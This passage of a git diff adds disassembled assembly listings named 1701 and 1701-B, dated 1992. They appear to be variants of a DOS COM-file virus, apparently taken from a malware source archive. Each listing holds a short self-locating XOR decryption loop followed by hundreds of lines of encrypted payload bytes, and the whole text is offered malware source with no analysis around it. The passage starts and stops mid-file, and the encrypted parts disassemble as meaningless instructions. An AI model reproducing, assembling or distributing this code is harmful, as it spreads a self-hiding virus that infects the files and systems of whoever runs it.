db 03h,0F1h, 1Ch, 77h,0FDh,0F2h + db 01h, 07h,0DCh, 51h,0B2h,0EFh + db 21h,0ABh + db 0Dh, 08h + db 24h,0E4h + db 0BDh,0EFh,0EAh,0ECh, 4Eh,0B6h + db 0F2h, 7Ch,0D6h,0ACh, 4Fh, 01h + db 1Ah,0A6h, 5Bh, 00h,0BFh,0F2h + db 49h,0C2h,0E7h, 41h,0F2h,0F4h + db 0BBh, 23h,0F2h,0BFh,0E1h, 66h + db 18h, 1Dh, 9Ah,0EAh, 7Ah,0E4h + db 0A5h,0F7h, 46h,0FDh, 03h,0DEh + db 4Ah,0E4h, 94h,0C7h, 04h,0C4h + db 9Ah,0CFh,0F2h, 35h,0F0h,0AEh + db 0F3h,0F2h, 5Eh,0D2h,0E5h, 96h + db 0D0h, 94h + db 0E1h, 0Bh, 0Eh,0EEh, 35h,0F4h + db 0AEh,0F7h,0F2h, 4Ah,0B2h, 8Dh + db 0F5h + +locloop_40: + movsw ; Mov [si] to es:[di] +;* mov dx,offset loc_46 ;* + db 0BAh, 84h,0F0h + mov ax,ds:data_45e + cmpsb ; Cmp [si] to es:[di] + db 0F3h,0F7h, 56h,0A1h,0F3h, 10h + db 2Eh, 14h,0C4h,0B4h,0E7h, 41h + db 80h,0EFh, 4Fh, 96h,0F3h,0CDh + db 0F0h, 90h,0F3h,0B8h,0CDh, 63h + db 0A0h,0C7h, 2Eh,0A9h, 3Ch, 8Eh + db 45h, 02h,0C1h, 09h,0B1h, 53h + db 90h,0EFh, 3Fh, 02h,0D9h, 1Eh + db 90h,0E1h, 0Bh, 4Eh,0EEh, 72h + db 0FCh,0A1h,0F7h,0F0h, 52h, 5Ch + db 0Fh,0B6h, 02h,0EEh, 4Ah,0FCh + db 88h,0DEh,0AEh,0A1h,0F3h, 42h + db 0F6h, 1Ah,0B0h, 10h, 64h, 12h + db 0Ah, 60h, 18h, 0Ah,0F3h, 11h + db 9Ch, 20h, 1Ah,0EAh, 09h, 80h + db 3Fh, 6Ch, 9Bh,0C3h, 4Ah,0E0h + db 90h,0C3h, 48h,0C0h, 9Dh,0F3h + db 47h,0F6h, 08h, 34h,0C8h,0D8h + db 0BDh,0E3h, 95h,0B4h, 0Eh, 86h + db 1Ch,0D4h,0C8h,0A4h,0F3h, 83h + db 0BFh, 1Ah, 1Bh, 70h,0FCh,0AAh + db 6Ah, 72h, 78h,0F0h,0BDh, 70h + db 48h,0C8h,0C4h,0A5h,0F7h, 85h + db 0C5h, 06h,0A7h, 1Ch,0D8h,0C0h + db 0B0h,0E3h, 97h,0C0h, 06h, 3Ch + db 0Ch, 85h, 13h, 1Ah, 4Ch, 30h + db 30h, 0Ch, 2Ah,0F0h, 38h, 60h + db 97h,0CFh, 30h, 34h, 72h,0D0h + db 0A1h,0F3h, 0Fh, 10h, 20h, 52h + db 0C2h, 0Eh,0BBh, 1Ch, 1Ch, 28h + db 4Eh,0A7h,0F3h, 1Eh,0A3h, 0Ch + db 11h, 0Ah,0E7h, 8Dh,0FDh, 4Eh + db 0ECh,0A5h,0F5h, 09h, 58h,0F2h + db 0F0h, 82h,0F5h, 1Bh,0AEh, 11h + db 06h, 69h, 1Ch,0A8h, 92h,0E1h + db 0Bh,0BFh, 11h, 16h, 93h,0D2h + db 0Ah, 14h, 93h, 0Dh,0E0h, 34h + db 0C4h, 91h,0C7h,0CBh,0B7h, 96h + db 0E0h, 72h,0FCh,0A1h,0F7h,0F3h + db 0DCh, 11h,0E0h,0BCh,0E3h, 93h + db 0A3h,0FCh + +locloop_41: + in al,0E0h ; port 0E0h, Memory encode reg2 + db 0F1h,0FCh,0F5h,0A6h,0A5h,0A3h + db 0A0h,0D8h,0D9h,0D7h, 32h,0A6h + db 60h,0A2h, 23h,0EEh, 8Fh,0CFh + db 0CAh,0F2h, 85h,0F1h, 4Ah,0D6h + db 0EAh, 0Ah, 9Ch, 1Bh,0A6h, 41h + db 0BCh,0EFh, 4Dh, 92h,0F3h, 1Eh + db 61h, 0Ch, 4Ah,0CDh,0CEh, 2Ah + db 0ACh, 3Bh, 86h, 35h,0E4h,0AAh + db 0CFh, 81h,0F1h, 4Eh, 09h, 0Dh + db 51h, 8Ah,0EFh,0BFh,0BDh,0B8h + db 0BCh,0BBh,0B9h,0B6h,0E9h,0EDh + db 0DCh, 76h,0D0h,0A5h,0F3h,0F0h + db 20h,0FDh, 2Ch, 35h, 07h, 2Ch + db 0F4h, 08h, 59h,0F3h,0FAh, 82h + db 0EBh,0A2h,0A3h,0BCh, 5Ah,0C8h + db 2Fh,0C7h, 67h, 1Bh, 26h,0E9h + db 9Ch,0FFh, 85h,0F3h + +locloop_42: + jbe loc_45 ; Jump if below or = + clc ; Clear carry flag + mov sp,0ECC8h + inc dx + loopnz locloop_41 ; Loop if zf=0, cx>0 + + retn + db 35h, 94h + db 97h + db 0AAh +loc_45: + esc 4,[bx+di] ; coprocessor escape + esc 0,cl ; coprocessor escape + db 0F3h,0E8h,0BDh, 56h,0AAh, 5Dh + db 8Dh,0E2h, 2Fh,0CFh,0B5h, 81h + db 0F1h, 0Fh,0F1h, 31h,0DCh, 48h + db 88h, 82h, 83h, 87h, 08h, 42h + db 8Ch, 91h,0BDh, 0Dh, 4Ch,0F6h + db 0F7h, 4Bh, 57h,0E8h, 12h, 11h + db 46h, 59h,0C5h,0E2h, 5Ch,0CDh + db 0EFh,0F1h,0C4h,0BDh,0F7h, 4Bh + db 70h,0C8h,0E8h,0F3h,0F7h,0E0h + db 0F7h,0CFh, 85h, 88h, 2Ch, 04h + db 7Ch, 2Eh, 42h,0B2h,0C1h, 3Ch + db 57h, 47h,0E4h, 2Bh,0C7h, 7Eh + db 0B2h, 5Ah,0A7h, 3Fh,0D3h,0AEh + db 6Bh,0FCh,0EDh, 7Ch,0BBh, 36h + db 0CCh, 7Ch,0BFh, 0Ah,0F5h,0C2h + +seg_a ends + + + + end start diff --git a/0-9/1701-b.asm b/0-9/1701-b.asm new file mode 100755 index 0000000..c302c84 --- /dev/null +++ b/0-9/1701-b.asm @@ -0,0 +1,424 @@ + +PAGE 59,132 + +; +; +; 1701-B +; +; Created: 11-Feb-92 +; Passes: 5 Analysis Options on: none +; +; + +data_31e equ 27D1h ;* +data_36e equ 4CD6h ;* +data_39e equ 6950h ;* +data_45e equ 8848h ;* +data_50e equ 0BDF1h ;* +data_53e equ 0CBC7h ;* +data_56e equ 0EA36h ;* +data_59e equ 49F2h +data_60e equ 0B0E0h +data_61e equ 0BCF1h +data_62e equ 0EAEFh + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +1701-b proc far + +start: + jmp loc_3 + db 39 dup (0) +data_22 db 0 ; Data table (indexed access) + db 30 dup (0) + db 28 dup (0) +loc_3: + cli ; Disable interrupts + mov bp,sp + call sub_1 + +1701-b endp + +; +; SUBROUTINE +; + +sub_1 proc near + pop bx + sub bx,131h + test cs:data_22[bx],1 + jz $+11h ; Jump if zero + lea si,[bx+14Dh] ; Load effective addr + mov sp,682h +loc_5: + xor [si],si + xor [si],sp + inc si + dec sp + jnz loc_5 ; Jump if not zero + db 8Eh,0EBh,0E5h,0BDh, 62h,0F6h + db 0F7h, 06h,0EFh,0EEh,0EEh, 2Fh + db 0C2h,0E6h,0E6h,0E2h,0B1h, 11h + db 0EEh, 02h, 6Ch,0F8h, 36h,0EAh + db 0B7h,0DAh,0D0h,0C0h,0C2h,0C6h + db 0E6h,0C2h + +locloop_6: + mov si,dx + xchg dh,bh + db 60h,0D4h,0ABh, 69h, 96h,0EEh + db 0EEh,0E2h, 0Bh,0A0h,0EFh,0E2h + db 0E2h,0EEh,0EEh,0F2h,0FAh,0F6h + db 0F6h +loc_8: + db 0F2h,0F2h, 30h, 8Ch,0FEh, 8Bh + db 0FAh, 8Fh, 82h, 82h, 8Fh, 8Eh + db 0B9h, 45h,0F6h,0F6h,0F2h,0F2h + db 0EEh,0EEh,0E2h,0E3h, 1Bh, 16h + db 0C2h + db 0C2h,0CEh + db 0CEh, 1Ah,0F2h,0F6h,0ADh, 73h + db 19h, 6Dh,0CFh,0ECh, 4Eh, 49h + db 92h,0C3h,0ECh, 47h, 49h,0A4h + db 0F3h,0D8h, 7Dh, 75h,0AAh,0EFh + db 4Dh,0E2h,0E3h,0C8h, 6Ch, 65h + db 0B8h,0EFh, 4Ch,0F0h,0F3h,0A5h + db 42h,0C2h, 3Fh, 2Fh, 56h, 3Dh + db 03h, 77h, 14h,0B9h,0FEh, 46h + db 3Eh, 0Eh,0C1h, 00h, 3Bh,0D3h + db 73h, 11h, 44h,0B7h, 97h,0E9h + db 94h,0F4h + db 19h,0F0h,0E9h,0DCh, 79h, 71h + db 0A0h,0F3h,0DCh, 31h, 61h, 90h + db 0C3h, 95h, 7Eh,0E3h,0F7h, 03h + db 0EFh, 79h, 31h,0ADh,0D8h, 7Bh + db 75h, 8Fh,0EFh,0CCh, 6Eh, 61h + db 85h,0E3h, 5Ah,0EEh, 1Eh, 7Ch + db 32h, 49h,0FEh, 12h, 73h,0B3h + db 0CDh,0CDh,0F7h, 9Dh, 07h,0FFh + db 80h,0DEh,0DCh, 87h,0E6h, 77h + db 8Bh,0F6h,0DCh +loc_14: + into ; Int 4 on overflow + db 9Bh,0EFh, 63h, 9Bh,0E0h,0ABh + db 0A0h, 9Bh,0E8h, 71h, 8Fh,0FEh + db 0BBh, 86h, 45h, 76h,0B5h,0C2h + db 4Eh, 0Bh, 8Bh, 4Ch, 07h,0E0h + db 45h,0C4h,0E4h,0F6h,0D0h, 7Bh + db 0C4h,0EFh,0EEh,0C4h, 69h,0F0h + db 0E5h,0E2h,0C4h, 4Dh,0EDh,0F2h + db 0D4h, 30h,0F0h,0F2h,0F2h, 43h + db 25h,0D2h, 48h, 43h, 05h,0EAh + db 47h, 80h,0CBh,0A1h, 46h,0A6h + db 7Dh, 2Fh, 3Fh,0CFh,0B5h,0D1h + db 1Dh,0E0h,0F1h,0B5h, 6Fh, 51h + db 20h,0F5h, 79h, 01h + db 4Fh + db 57h,0F4h, 33h, 3Dh, 66h,0C4h +loc_16: + dec bx + dec cx + mov dl,0C0h + lahf ; Load ah from flags + add ax,7EDCh + jns loc_14 ; Jump if not sign + db 0F3h, 7Fh, 61h,0C4h,0E3h, 11h + db 42h,0C8h, 6Eh,0ECh,0D8h,0EEh + db 0BFh, 7Ch, 33h,0D0h + db 7Bh,0E4h, 8Dh, 8Eh,0A4h, 44h + db 80h + db 86h, 82h,0D8h,0A8h, 02h,0FCh + db 0F3h +loc_19: + div byte ptr [bp+di+377Ch] ; al,ah rem = ax/data + lock jmp $-211h +sub_1 endp + + db 6Bh, 51h,0C8h,0E3h, 51h,0EEh + db 0F3h, 4Bh, 53h,0F0h, 0Eh, 01h + db 6Ah,0C8h, 4Fh,0C4h, 42h,0C4h + db 92h + db 9 + db 0E0h, 09h,0F4h,0DEh,0F6h,0F6h + db 0F2h,0DCh, 62h,0E0h,0F4h,0E2h + db 0F8h, 6Bh,0F4h,0FEh,0EDh,0E0h + db 0EDh, 4Ah,0D7h,0D3h, 3Fh,0D3h + db 11h,0BBh, 19h,0B9h, 87h, 07h + db 0CEh, 22h,0E7h,0FCh,0F2h, 46h + db 0DCh, 3Bh,0D3h, 73h, 17h, 2Ah + db 0E5h, 95h, 83h, 92h,0C8h, 63h + db 17h, 52h,0F5h, 87h,0ABh,0E8h + db 4Ah,0DAh,0FBh, 03h,0E3h,0ECh + db 4Fh,0D8h,0F9h,0C3h,0E0h + db 42h + db 0F4h,0CFh,0F7h, 4Eh,0DAh,0D7h + db 54h,0CCh,0E5h,0ECh,0F9h, 2Bh + db 0C3h,0FDh,0C0h, 6Eh,0FCh,0A5h + db 0F7h,0FEh, 19h,0F4h, 1Eh, 0Eh +loc_22: + jl loc_19 ; Jump if < + hlt ; Halt processor + mov dl,6Ah ; 'j' + dec word ptr ds:data_56e[si] + out 1Eh,ax ; port 1Eh ??I/O Non-standard + jc loc_22 ; Jump if carry Set + mov dl,0C0h + dec bp + mov sp,0C8E3h + inc bp + and bl,0C0h + sub sp,si + xchg ax,si + div di ; ax,dx rem=dx:ax/reg + db 0F2h, 4Ah,0D2h,0FBh, 0Fh,0E3h + db 0E8h, 4Fh,0DCh,0F1h,0CFh,0E0h + db 7Eh,0F4h + db 0C3h,0F7h,0ECh, 4Ah,0F2h,0CBh + db 58h, 5Fh,0E0h,0E8h,0FDh, 2Fh + db 0CFh,0F1h, 49h, 24h, 09h, 1Fh + db 65h, 0Ch, 8Eh,0F2h, 49h, 76h + db 16h, 28h,0FDh, 2Ch, 39h, 0Fh + db 4Dh, 58h,0A3h,0D8h, 36h,0F4h + db 0D9h,0EFh, 6Eh, 28h, 29h,0DAh + db 1Dh, 96h, 1Fh,0D2h,0F2h, 87h + db 1Eh, 6Ah,0A2h,0A1h, 9Fh, 9Ch + db 94h, 95h, 93h,0C0h,0DCh,0ECh + db 47h,0D8h,0B5h,0F3h,0D8h, 7Ah + db 0ECh,0BBh,0EFh,0E0h,0E5h, 5Ah + db 0E6h,0DBh, 2Fh,0C3h, 9Ch,0B8h + db 79h, 2Ah, 4Eh,0F6h,0A5h, 3Fh + db 0AFh,0A0h, 0Bh, 94h,0C5h, 87h + db 0ACh, 0Bh, 80h,0CBh,0F3h, 46h + db 0C9h,0F8h,0EDh, 48h,0C0h,0EFh + db 5Bh,0E1h,0E6h, 2Bh,0C3h, 90h + db 0D9h,0D5h, 33h, 87h,0C5h, 4Eh + db 0F0h,0B0h,0FDh, 07h,0F1h, 10h + db 0Bh,0E7h,0ECh, 61h, 85h + db 0CFh,0DCh, 7Bh,0E0h,0BBh,0F3h + db 46h,0D0h, 23h,0C3h,0CCh, 67h + db 0D8h,0CCh,0E3h,0A3h,0B4h, 87h + db 0F1h, 1Fh, 31h,0F2h,0DCh, 8Dh + db 37h, 48h, 04h, 01h, 76h, 0Ch + db 2Bh, 88h, 37h,0BEh,0F3h,0CDh + db 0Fh, 84h,0F1h, 07h, 5Dh,0E2h + db 0CCh, 66h,0D8h,0CCh,0E3h, 07h + db 9Bh,0FCh,0DCh + db 57h +loc_27: + mov bp,0F7F3h + xchg ax,di + aaa ; Ascii adjust + in al,dx ; port 0FEC0h ??I/O Non-standard + stc ; Set carry flag + db 0C0h,0E9h + db 0C3h,0B6h, 29h, 76h,0F2h,0B1h + db 0D8h, 33h,0E4h,0B5h,0EFh, 23h + db 0C3h, 90h, 3Dh,0C8h, 6Bh,0ECh + db 0AFh,0EFh, 72h, 03h,0D6h, 00h + db 33h,0D5h,0FAh, 87h, 3Ah, 83h + db 0C5h,0B5h, 4Bh, 4Fh,0AFh + db 0FCh, 37h, 4Ah,0F4h + db 0CBh, 3Fh,0D3h, 9Ch, 50h, 69h + db 3Ah, 5Eh,0E4h,0A0h,0D1h, 27h + db 0DDh, 20h, 3Fh,0D7h, 1Eh,0A2h + db 0F1h,0BDh,0D6h, 7Ah,0C2h, 84h + db 0E8h, 49h,0CCh, 83h,0CFh,0DCh + db 79h,0E0h,0BDh,0F3h, 3Fh,0CFh + db 5Ah,0A2h,0D1h, 2Fh, 2Bh,0C3h + db 09h,0CFh, 7Eh + db 4Ah,0F2h,0B4h,0C5h, 3Bh,0C1h + db 0DCh,0C3h, 23h, 70h, 13h, 28h + db 0A3h, 49h, 0Fh, 0Bh, 0Ch, 0Dh + db 0D8h, 55h,0A2h,0F3h, 5Ah,0AEh + db 58h,0ADh,0E7h, 5Fh,0E1h,0E2h + db 23h,0CFh, 4Ah,0F3h,0A1h,0D8h + db 79h,0E4h, 8Dh,0CFh,0ECh, 49h + db 0C8h, 83h,0C3h, 0Fh,0EFh, 7Ah + db 0CCh, 3Fh,0D7h,0D8h, 79h,0FCh + db 0AFh,0EFh, 14h, 23h,0E1h, 93h + db 0E7h, 14h, 2Fh,0CEh, 87h,0F8h + db 4Eh,0F7h,0B1h,0DCh, 4Bh, 98h + db 0C5h, 83h, 4Bh,0A7h, 9Dh, 85h + db 0D3h,0D1h,0ACh,0A8h,0AFh,0ADh + db 0AAh, 6Fh, 07h, 5Ch, 1Ch,0FCh + db 0E8h +loc_33: + stc ; Set carry flag + mov cl,0B3h + mov sp,4BBEh + cmc ; Complement carry + db 0F6h, 4Dh, 86h,0F3h, 31h,0F9h + db 49h, 85h, 38h,0D7h,0C5h, 89h + db 85h + db 2Ch, 05h,0AAh,0E7h,0F1h, 79h + db 0E5h,0B6h,0E5h, 22h, 96h,0E4h + db 11h, 00h, 69h, 2Ch,0B4h,0ABh + db 0A9h,0E9h, 35h,0ECh,0F4h, 58h + db 58h, 52h, 0Dh, 00h,0BEh, 43h + db 03h, 81h,0D6h, 4Ch, 94h,0F7h + db 48h, 9Eh,0F2h, 57h,0E6h,0E2h + db 1Eh, 15h, 43h,0BBh,0BDh,0B0h + db 0E9h,0EDh, 31h,0A0h,0E8h,0A0h + db 78h, 08h, 38h,0E4h, 90h,0C7h + db 70h,0C2h,0C1h + db 0Ch + db 1Fh, 12h,0F1h,0F0h,0ACh,0F3h + db 79h, 1Eh, 18h,0E4h,0B6h,0E7h + db 19h, 6Ch,0FCh,0B6h,0EFh, 86h + db 0E0h, 4Ch, 2Ch,0F1h, 08h, 62h + db 26h, 8Ah,0F7h, 8Fh, 2Eh, 83h + db 0F7h, 79h, 62h, 5Ah,0F3h, 82h + db 0Dh, 5Fh + db 09h,0B4h,0F1h,0BCh, 21h,0B1h + db 0E0h,0B0h,0B1h, 65h, 36h, 78h + db 34h, 00h,0D0h,0A0h,0F3h, 78h + db 0CEh,0C1h, 00h, 17h, 26h,0C1h + db 0C4h, 94h,0CFh, 79h, 0Ah, 00h + db 0F0h,0A6h,0F3h, 11h, 60h,0E4h + db 0BAh,0E7h, 92h,0F0h, 58h, 34h + db 0EDh, 08h, 1Eh, 5Eh,0FEh, 87h + db 0FBh,0A6h, 0Fh, 77h,0F5h,0EAh + db 0AEh, 03h, 76h,0F5h, 85h, 31h + db 58h, 0Dh,0ADh,0A8h,0F5h,0B1h + db 2Dh,0B3h,0B3h, 6Dh,0E8h,0BEh + db 0E3h, 0Ch, 10h,0ABh, 10h, 00h + db 0AFh, 31h,0A2h, 2Ah,0AFh,0F6h + db 0C0h,0E2h, 38h, 24h,0A3h, 96h + db 0Dh,0CEh,0F2h, 82h,0FCh,0CEh + db 0D2h, 9Ah,0E8h,0DEh, 1Dh, 92h + db 0E4h, 1Ah, 21h, 17h, 2Dh,0CEh + db 42h, 84h,0F0h,0CEh, 2Dh,0F9h + db 8Ch, 7Bh, 41h, 7Eh, 45h, 9Ch + db 3Ah,0CEh, 8Eh, 7Ch, 2Ah, 0Dh + db 57h, 9Eh,0F2h,0D5h,0E8h, 8Eh + db 0E2h, 92h, 1Ch,0D1h +loc_37: + sub cx,[bx-7Eh] + db 0F2h,0B3h, 82h,0E3h,0C9h,0F4h + db 0A2h,0CEh,0B6h, 35h,0D9h, 4Dh + db 03h,0F1h, 1Ch, 77h,0FDh,0F2h + db 01h, 07h,0DCh, 51h,0B2h,0EFh + db 21h,0ABh + db 0Dh, 08h + db 24h,0E4h + db 0BDh,0EFh,0EAh,0ECh, 4Eh,0B6h + db 0F2h, 7Ch,0D6h,0ACh, 4Fh, 01h + db 1Ah,0A6h, 5Bh, 00h,0BFh,0F2h + db 49h,0C2h,0E7h, 41h,0F2h,0F4h + db 0BBh, 23h,0F2h,0BFh,0E1h, 66h + db 18h, 1Dh, 9Ah,0EAh, 7Ah,0E4h + db 0A5h,0F7h, 46h,0FDh, 03h,0DEh + db 4Ah,0E4h, 94h,0C7h, 04h,0C4h + db 9Ah,0CFh,0F2h, 35h,0F0h,0AEh + db 0F3h,0F2h, 5Eh,0D2h,0E5h, 96h + db 0D0h, 94h + db 0E1h, 0Bh, 0Eh,0EEh, 35h,0F4h + db 0AEh,0F7h,0F2h, 4Ah,0B2h, 8Dh + db 0F5h + +locloop_40: + movsw ; Mov [si] to es:[di] +;* mov dx,offset loc_46 ;* + db 0BAh, 84h,0F0h + mov ax,ds:data_45e + cmpsb ; Cmp [si] to es:[di] + db 0F3h,0F7h, 56h,0A1h,0F3h, 10h + db 2Eh, 14h,0C4h,0B4h,0E7h, 41h + db 80h,0EFh, 4Fh, 96h,0F3h,0CDh + db 0F0h, 90h,0F3h,0B8h,0CDh, 63h + db 0A0h,0C7h, 2Eh,0A9h, 3Ch, 8Eh + db 45h, 02h,0C1h, 09h,0B1h, 53h + db 90h,0EFh, 3Fh, 02h,0D9h, 1Eh + db 90h,0E1h, 0Bh, 4Eh,0EEh, 72h + db 0FCh,0A1h,0F7h,0F0h, 52h, 5Ch + db 0Fh,0B6h, 02h,0EEh, 4Ah,0FCh + db 88h,0DEh,0AEh,0A1h,0F3h, 42h + db 0F6h, 1Ah,0B0h, 10h, 64h, 12h + db 0Ah, 60h, 18h, 0Ah,0F3h, 11h + db 9Ch, 20h, 1Ah,0EAh, 09h, 80h + db 3Fh, 6Ch, 9Bh,0C3h, 4Ah,0E0h + db 90h,0C3h, 48h,0C0h, 9Dh,0F3h + db 47h,0F6h, 08h, 34h,0C8h,0D8h + db 0BDh,0E3h, 95h,0B4h, 0Eh, 86h + db 1Ch,0D4h,0C8h,0A4h,0F3h, 83h + db 0BFh, 1Ah, 1Bh, 70h,0FCh,0AAh + db 6Ah, 72h, 78h,0F0h,0BDh, 70h + db 48h,0C8h,0C4h,0A5h,0F7h, 85h + db 0C5h, 06h,0A7h, 1Ch,0D8h,0C0h + db 0B0h,0E3h, 97h,0C0h, 06h, 3Ch + db 0Ch, 85h, 13h, 1Ah, 4Ch, 30h + db 30h, 0Ch, 2Ah,0F0h, 38h, 60h + db 97h,0CFh, 30h, 34h, 72h,0D0h + db 0A1h,0F3h, 0Fh, 10h, 20h, 52h + db 0C2h, 0Eh,0BBh, 1Ch, 1Ch, 28h + db 4Eh,0A7h,0F3h, 1Eh,0A3h, 0Ch + db 11h, 0Ah,0E7h, 8Dh,0FDh, 4Eh + db 0ECh,0A5h,0F5h, 09h, 58h,0F2h + db 0F0h, 82h,0F5h, 1Bh,0AEh, 11h + db 06h, 69h, 1Ch,0A8h, 92h,0E1h + db 0Bh,0BFh, 11h, 16h, 93h,0D2h + db 0Ah, 14h, 93h, 0Dh,0E0h, 34h + db 0C4h, 91h,0C7h,0CBh,0B7h, 96h + db 0E0h, 72h,0FCh,0A1h,0F7h,0F3h + db 0DCh, 11h,0E0h,0BCh,0E3h, 93h + db 0A3h,0FCh + +locloop_41: + in al,0E0h ; port 0E0h, Memory encode reg2 + db 0F1h,0FCh,0F5h,0A6h,0A5h,0A3h + db 0A0h,0D8h,0D9h,0D7h, 32h,0A6h + db 60h,0A2h, 23h,0EEh, 8Fh,0CFh + db 0CAh,0F2h, 85h,0F1h, 4Ah,0D6h + db 0EAh, 0Ah, 9Ch, 1Bh,0A6h, 41h + db 0BCh,0EFh, 4Dh, 92h,0F3h, 1Eh + db 61h, 0Ch, 4Ah,0CDh,0CEh, 2Ah + db 0ACh, 3Bh, 86h, 35h,0E4h,0AAh + db 0CFh, 81h,0F1h, 4Eh, 09h, 0Dh + db 51h, 8Ah,0EFh,0BFh,0BDh,0B8h + db 0BCh,0BBh,0B9h,0B6h,0E9h,0EDh + db 0DCh, 76h,0D0h,0A5h,0F3h,0F0h + db 20h,0FDh, 2Ch, 35h, 07h, 2Ch + db 0F4h, 08h, 59h,0F3h,0FAh, 82h + db 0EBh,0A2h,0A3h,0BCh, 5Ah,0C8h + db 2Fh,0C7h, 67h, 1Bh, 26h,0E9h + db 9Ch,0FFh, 85h,0F3h + +locloop_42: + jbe loc_45 ; Jump if below or = + clc ; Clear carry flag + mov sp,0ECC8h + inc dx + loopnz locloop_41 ; Loop if zf=0, cx>0 + + retn + db 35h, 94h + db 97h + db 0AAh +loc_45: + esc 4,[bx+di] ; coprocessor escape + esc 0,cl ; coprocessor escape + db 0F3h,0E8h,0BDh, 56h,0AAh, 5Dh + db 8Dh,0E2h, 2Fh,0CFh,0B5h, 81h + db 0F1h, 0Fh,0F1h, 31h,0DCh, 48h + db 88h, 82h, 83h, 87h, 08h, 42h + db 8Ch, 91h,0BDh, 0Dh, 4Ch,0F6h + db 0F7h, 4Bh, 57h,0E8h, 12h, 11h + db 46h, 59h,0C5h,0E2h, 5Ch,0CDh + db 0EFh,0F1h,0C4h,0BDh,0F7h, 4Bh + db 70h,0C8h,0E8h,0F3h,0F7h,0E0h + db 0F7h,0CFh, 85h, 88h, 2Ch, 04h + db 7Ch, 2Eh, 42h,0B2h,0C1h, 3Ch + db 57h, 47h,0E4h, 2Bh,0C7h, 7Eh + db 0B2h, 5Ah,0A7h, 3Fh,0D3h,0AEh + db 6Bh,0FCh,0EDh, 7Ch,0BBh, 36h + db 0CCh, 7Ch,0BFh, 0Ah,0F5h,0C2h + +seg_a ends + + + + end start diff --git a/0-9/1701.asm b/0-9/1701.asm new file mode 100755 index 0000000..922e594 --- /dev/null +++ b/0-9/1701.asm @@ -0,0 +1,427 @@ + +PAGE 59,132 + +; +; +; 1701 +; +; Created: 11-Feb-92 +; Passes: 5 Analysis Options on: none +; +; + +data_31e equ 27D1h ;* +data_36e equ 4CD6h ;* +data_39e equ 6950h ;* +data_45e equ 8848h ;* +data_50e equ 0BDF1h ;* +data_53e equ 0CBC7h ;* +data_55e equ 0EA36h ;* +data_58e equ 49F2h +data_59e equ 0B0E0h +data_60e equ 0BCF1h +data_61e equ 0EAEFh + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +1701 proc far + +start: + jmp loc_2 + db 39 dup (0) +data_22 db 0 ; Data table (indexed access) + db 58 dup (0) +loc_2: + cli ; Disable interrupts + mov bp,sp + call sub_1 + +1701 endp + +; +; SUBROUTINE +; + +sub_1 proc near + pop bx + sub bx,131h + test cs:data_22[bx],1 + jz $+11h ; Jump if zero + lea si,[bx+14Dh] ; Load effective addr + mov sp,682h +loc_4: + xor [si],si + xor [si],sp + inc si + dec sp + jnz loc_4 ; Jump if not zero + db 8Eh,0EBh,0E5h,0BDh, 62h,0F6h + db 0F7h, 06h,0EFh,0EEh,0EEh, 2Fh + db 0C2h,0E6h,0E6h,0E2h,0B1h, 11h + db 0EEh, 02h, 6Ch,0F8h, 36h,0EAh + db 3Bh,0DCh,0E0h,0C3h,0C2h,0C6h + db 0E6h,0C2h + +locloop_5: + mov si,dx + push es + db 0F1h, 60h,0D4h,0ABh, 69h, 96h + db 0EEh,0EEh,0E2h, 0Bh, 06h,0DBh + db 0E2h + db 0E2h,0EEh,0EEh,0F2h,0FAh,0F6h + db 0F6h +loc_7: + db 0F2h,0F2h, 7Ah, 87h, 61h +loc_9: + test ah,[di-80h] + add byte ptr [bp+si-7171h],0F6h + jc loc_9 ; Jump if carry Set + div dl ; al, ah rem = ax/reg + db 0F2h,0EEh,0EEh,0E2h,0E3h, 1Bh + db 16h,0C2h + db 0C2h,0CEh + db 0CEh, 1Ah,0F2h,0F6h,0ADh, 73h + db 19h, 6Dh,0CFh,0ECh, 4Eh, 49h + db 92h,0C3h,0ECh, 47h, 49h,0A4h + db 0F3h,0D8h, 7Dh, 75h,0AAh,0EFh + db 4Dh,0E2h,0E3h,0C8h, 6Ch, 65h + db 0B8h,0EFh, 4Ch,0F0h,0F3h,0A5h + db 42h,0C2h, 3Fh, 2Fh, 56h, 3Dh + db 03h, 77h, 14h,0B9h,0FEh, 46h + db 3Eh, 0Eh,0C1h, 00h, 3Bh,0D3h + db 73h, 11h, 44h,0B7h, 97h,0E9h + db 94h,0F4h + db 19h,0F0h,0E9h,0DCh, 79h, 71h + db 0A0h,0F3h,0DCh, 31h, 61h, 90h + db 0C3h, 95h, 7Eh,0E3h,0F7h, 03h + db 0EFh, 79h, 31h,0ADh,0D8h, 7Bh + db 75h, 8Fh,0EFh,0CCh, 6Eh, 61h + db 85h,0E3h, 5Ah,0EEh, 1Eh, 7Ch + db 32h, 49h,0FEh, 12h, 73h,0B3h + db 0CDh,0CDh,0F7h, 9Dh, 07h,0FFh + db 80h,0DEh,0DCh, 87h,0E6h, 77h + db 8Bh,0F6h,0DCh +loc_14: + into ; Int 4 on overflow + db 9Bh,0EFh, 63h, 9Bh,0E0h,0ABh + db 0A0h, 9Bh,0E8h, 71h, 8Fh,0FEh + db 0BBh, 86h, 45h, 76h,0B5h,0C2h + db 4Eh, 0Bh, 8Bh, 4Ch, 07h,0E0h + db 45h,0C4h,0E4h,0F6h,0D0h, 7Bh + db 0C4h,0EFh,0EEh,0C4h, 69h,0F0h + db 0E5h,0E2h,0C4h, 4Dh,0EDh,0F2h + db 0D4h, 30h,0F0h,0F2h,0F2h, 43h + db 25h,0D2h, 48h, 43h, 05h,0EAh + db 47h, 80h,0CBh,0A1h, 46h,0A6h + db 7Dh, 2Fh, 3Fh,0CFh,0B5h,0D1h + db 1Dh,0E0h,0F1h,0B5h, 6Fh, 51h + db 20h,0F5h, 79h, 01h + db 4Fh + db 57h,0F4h, 33h, 3Dh, 66h,0C4h +loc_16: + dec bx + dec cx + mov dl,0C0h + lahf ; Load ah from flags + add ax,7EDCh + jns loc_14 ; Jump if not sign + db 0F3h, 7Fh, 61h,0C4h,0E3h, 11h + db 42h,0C8h, 6Eh,0ECh,0D8h,0EEh + db 0BFh, 7Ch, 33h,0D0h + db 7Bh,0E4h, 8Dh, 8Eh,0A4h, 44h + db 80h + db 86h, 82h,0D8h,0A8h, 02h,0FCh + db 0F3h +loc_19: + div byte ptr [bp+di+377Ch] ; al,ah rem = ax/data + lock jmp $-211h +sub_1 endp + + db 6Bh, 51h,0C8h,0E3h, 51h,0EEh + db 0F3h, 4Bh, 53h,0F0h, 0Eh, 01h + db 6Ah,0C8h, 4Fh,0C4h, 42h,0C4h + db 92h + db 